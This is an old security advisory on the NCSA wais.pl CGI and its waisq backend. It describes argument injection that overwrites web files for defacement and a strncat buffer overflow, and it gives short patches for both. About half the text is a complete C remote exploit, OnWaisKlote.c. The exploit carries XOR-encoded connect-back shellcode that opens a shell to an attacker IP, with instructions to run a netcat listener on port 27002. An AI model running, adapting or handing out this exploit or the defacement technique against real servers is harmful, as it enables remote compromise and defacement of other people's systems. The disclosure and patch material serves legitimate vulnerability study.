********************************************** + Wais.pl parameter passing security problem + ********************************************** # Another fine advisory by Scrippie # |============================================| * Cheers to: zsh, Synnergy, phreak.nl * | Lots of Love to: Maja, Hester | ############################################## ---[ The CGI ]--- The wais.pl CGI written by Tony Sanders provides means to access the waisq WAIS client via the webserver. ---[ The Source ]--- First of all I will show you a bit of offending code in wais.pl: open(WAISQ, "-|") || exec ($waisq, "-c", $waisd, "-f", "-", "-S", "$src.src", "-g", @query); Since WAISQ is opened like this, silly stuff like shell characters will not work, we can, however, write extra command line parameters to waisq in our query array. This can be done because the information we provide the CGI is passed to exec($waisq) as an array, which perl expands to command line parameters to the called program. If a scalar would have been used, this wouldn't be the case. It seems that waisq allows us to specify a file that contains a WAIS question by using the -f parameter. One of the strange things is that waisq seems to do the following: if(dosearch == TRUE) { SearchWais(question); if((qfilename == NULL) || (strcmp(qfilename, "-") == 0)) WriteQuestionfp(stdout, question); else WriteQuestion(qfilename, question); So, waisq does not only read it's question from the file, but will also write the question to the same file, effectively ruining any older contents. Back to the perl source: @query contains our optional search keywords, which we can fill in ourselves. This means we can write a bunch of mess and our own string to any file owned by the uid the webserver runs CGI scripts with (the file must exist). ---[ They call me the Wild Rose ]--- Suppose we do something like: echo "Thanks for all the fish" > test.htm cat test.htm -> Thanks for all the fish wais.pl -f test.htm "Elisa Day" cat test.htm We'll get the following: (:question :version 2 :seed-words "Elisa Day " :relevant-documents ( ) :sourcepath "/root/wais-sources/:./" :sources ( (:source-id :filename "www.src" ) ) :maximum-results 40 :result-documents ( ) Not good eh? HTML tags are as easily submitted in this manner as regular text is. We could do something like: wais.pl -f t.html -g `printf "

Test

<\x21--" ` Of course, while using wais.pl via the browser we should convert our tags to the %ascii notation. Sadly, we still get the: (:question :version 2 :seed-words lines that ruin our nice deface... But wait, something like: Will redirect us immediatly to our favourite clan of the goat site. Ah, this seems somewhat better, if we know the absolute path of index.html we could deface the server without ever being on the box... ---[ It's getting better (all the time)]--- Well, the previously described problem doesn't seem to scary, since most files aren't writeable by user nobody and the nasty header is in the way and any webmaster chowning his pages to "nobody" should have his head examined. More interesting is the fact that the waisq client contains a buffer overflow in the following piece of code: Boolean ReadSourceFile(asource, filename, directory) Source asource; char *filename, *directory; { FILE *fp; char pathname[MAX_FILENAME_LEN+1]; Boolean result; strncpy(pathname, directory, MAX_FILENAME_LEN); strncat(pathname, filename, MAX_FILENAME_LEN); Both "directory" and "filename" is input provided by the user to waisq by the command line parameters "-s" and "-t". MAX_FILENAME_LEN is defined as 255 bytes in "cutil.h". We can clearly see that our target buffer can be overflown by 254 bytes. For the remote overflow I choose to combine the injection vector and the payload (a bad choice as it turned out, but it worked), they are delicatly intertwined in the exploit. The first buffer is used as the "NOP sled" buffer while the second one contains the payload (which may not contain a lot of metacharacters, I used smegma_v0.5 - written by me - to get rid of them). We can also see that 4 bytes of our buffer get ruined, because somewhat later in the code the FILE* fp is filled in - I joined the two buffer together by jumping a few bytes forward at the end of "pathname" using 0xeb 0x08 and some NOPS (it can also be done using 0xeb 0x04, but I used a few NOPS to provide some more "space" for this little trick). The final exploit is included at the end of this article. ---[ The patches ]--- I included the patches for completeness sake, they are so trivial anyone will probably hand-code them before reverting to use these. The patch for waisq =================== --- source.old.c Sun Aug 13 23:41:40 2000 +++ source.c Sun Aug 13 23:41:57 2000 @@ -328,7 +328,7 @@ char *filename, *directory; { FILE *fp; - char pathname[MAX_FILENAME_LEN+1]; + char pathname[MAX_FILENAME_LEN*2+1]; Boolean result; strncpy(pathname, directory, MAX_FILENAME_LEN); The patch for wais.pl ===================== --- wais.old.pl Sun Aug 13 23:46:51 2000 +++ wais.pl Sun Aug 13 23:47:21 2000 @@ -37,7 +37,7 @@ print "Content-type: text/html\n\n"; open(WAISQ, "-|") || exec ($waisq, "-c", $waisd, - "-f", "-", "-S", "$src.src", "-g", @query); + "-f", "-", "-S", "$src.src", "-g", $pquery); print "\nSearch of ", $title, "\n\n"; print "\n

", $title, "

\n"; ---[ Conclusion ]--- People should not only be worrying about escaping all the shell characters, but also about command line parameters one might pass to the CGI. - will be a nice addition to the standard bunch of shell characters to escape when coding a CGI. So far so good, one of the last NCSA CGI scripts has been found to be vulnerable to attack, I had a lot of fun with it. Cheers and take care! Scrippie - ronald@grafix.nl ---[ Added remote exploit for Linux ]--- /* OnWaisKlote.c - NCSA wais.pl + waisq remote overflow - by Scrippie This program is meant as a PoC exploit - I don't think anyone will go and find a Linux machine running the wais.pl CGI and the waisq backend client at the same time. However, there are enough SunOS@Sparcs out there which do. Thanx to dvorak for pointing out this smash after I located the formatting problem in wais.pl The shellcode makes a connetion to the given IP and spawns a shell on port 27002. It's recommended to have a listening netcat ready on this port. Ie. do a "nc -l -p 27002" on your machine, and run the exploit on the target If everything works out, it'll connect and spawn a shell. Shouts go out to: sk8, JimJones, ragnarok, f0bic, dvorak, guidob, dethy, dugo, ratcorpse, futant, and everyone on #!/bin/zsh I haven't mentioned mixter, Lamagra, prizm-, slash, cruci, {}, and all ex-b0f people #hit2000, #phreak.nl, #linuxasm and of course Synnergy.net Big fuck to: #hax - Skill will never make up for arrogance and basic unfriendliness flyahh - For being the biggest script-kid I know Love to: Maja (I can't explain how happy I am now you're coming to the Netherlands) Hester (you're my dearest friend) -- Scrippie/ronald@grafix.nl */ #include #include #include #include #include #include #include #define FORBIDDEN "\x00\x09\x0b\x0c\r\n{};<>\\^()*[]$`&#~|\"" #define SZ_SOURCEBUF 256 #define SZ_FILEBUF 256 #define RETADDY 0xbffff910 /* Works on my cute `lil box */ int wwwconnect(unsigned long ip); int ICinInt(long, char *, size_t); char *buildOverflow(unsigned long, unsigned int); void *xmalloc(size_t); /* Shellcode written by: Scrippie :) Smegma v0.5 ridded this shellcode of the following characters: "\x00\x09\x0b\x0c\r\n{};<>\\^()*[]$`&#~|\"" For this purpose a xor mask of 0x92011e11 was brute forced */ char hellcode[] = "\xeb\x14\x58\x89\xc6\x31\xc9\xb1\x25\x81\x36\x11\x1e\x01\x92\x83\xc6\x04\xe2" "\xf5\xeb\x05\xe8\xe7\xff\xff\xff\xfa\x64\x5f\xa3\xd1\x2f\xda\xa3\xc3\xae\x67" "\x21\x10\x93\x4f\x8e\xa3\x1f\x88\xc4\x31\xac\x07\x1b\x47\x3a\xb3\x90\x98\x48" "\x1d\x5f\x91\x97\x47\x8a\x98\x08\x67\x55\x57\x1c\x68\xe8\x98\x58\x1d\x1f\x17" "\x97\x47\xb2\x91\xdc\x0f\x1b\x47\x3a\x30\x52\x15\x78\x81\x51\x13\x93\x4f\x8e" "\xdc\x9e\x30\x52\x15\x21\x88\x50\x9a\x40\x19\xa3\xd8\xd3\x81\x1b\xc1\x5f\xcc" "\x12\x98\xce\x40\x5f\x91\x2f\xc1\x1f\x6f\x11\x81\x53\x16\xed\xab\x96\x1a\x93" "\x5f\x9a\x98\x40\x11\x1f\x5f\x0e\x30\x40\xdc\x9e\x30\x52\xef\xde\xcc\x12\xf9" "\x9f\xfe\x6d\xee\x5f\x40\xd0\x53\xAA\xAA\xAA\xAA\x31\x63\xfb\x7f\x31\x72\xfa"; /* The IP address to connect to is gonna be at 0xAAAAAAAA */ /* Make sure it's encoded just as the shellcode is */ int main(int argc, char **argv) { char *iploc, *evilcode; int sd, align=0; unsigned long sip; /* IP to connect back to */ unsigned long dip; /* Target IP */ unsigned long retaddy=RETADDY; /* Default return address */ /* Whee, print the banner */ if(argc < 3) { printf("OnWais Klote - Scrippie/Synnergy Networks\n"); printf("Use as: %s [ret addy] [align]\n", argv[0]); exit(0); } printf("******************************************************\n"); printf("+ OnWais Klote - Scrippie/Synnergy.net +\n"); printf("******************************************************\n"); /* I know inet_addr() is obsolete - too bad, you can't run this program when you're on 255.255.255.255 - who is anyway? */ if((dip = inet_addr(argv[1])) == -1) { printf("Error: Non valid IP address specified\n"); exit(-1); } if((sip = inet_addr(argv[2])) == -1) { printf("Error: Non valid IP address specified\n"); exit(-1); } /* Use specified return address */ if(argc > 3) { retaddy = strtoul(argv[3], NULL, 16); } printf("Return address : 0x%lx\n", retaddy); /* Use specified alignment */ if(argc > 4) { align = atoi(argv[4]); } printf("Alignment : %d\n", align); printf("Target : %s\n\n", argv[1]); /* We convert our IP to fit in the payload */ /* Think of this as a strange value? Think of the shellcode alignment */ sip ^= 0x1192011e; /* Check if the given RETADDY won't ruin our payload */ if(ICinInt(retaddy, FORBIDDEN, sizeof(FORBIDDEN)-1)) { printf("Error: Found illegal character in return address\n"); exit(0); } /* Check if the given IP won't ruin our shellcode */ if(ICinInt(sip, FORBIDDEN, sizeof(FORBIDDEN)-1)) { printf("Error: Found illegal character in IP address\n"); exit(0); } /* Locate the IP position in the shellcode */ iploc=(char *)strchr(hellcode, 0xAA); memcpy((void *) iploc, (void *) &sip, 4); evilcode = buildOverflow(retaddy, align); sd = wwwconnect(dip); printf("Connected to %s\n", argv[1]); printf("Proceeding to send evil code...\n"); send(sd, evilcode, strlen(evilcode), 0); printf("Sent!\n"); return(0); } char *buildOverflow(unsigned long retaddy, unsigned int align) { char source[SZ_SOURCEBUF]; char *smash, *output; int c; smash = (char *)xmalloc(SZ_FILEBUF+align+1); output = (char *)xmalloc(SZ_SOURCEBUF+SZ_FILEBUF+align+1); for(c=0;c> j*8) == forbidden[i]) return(1); } } return(0); } /* Wrapper for malloc() that does error checking */ void *xmalloc(size_t size) { void *blah; if((blah = malloc(size)) == NULL) { perror("malloc()"); exit(-1); } return(blah); }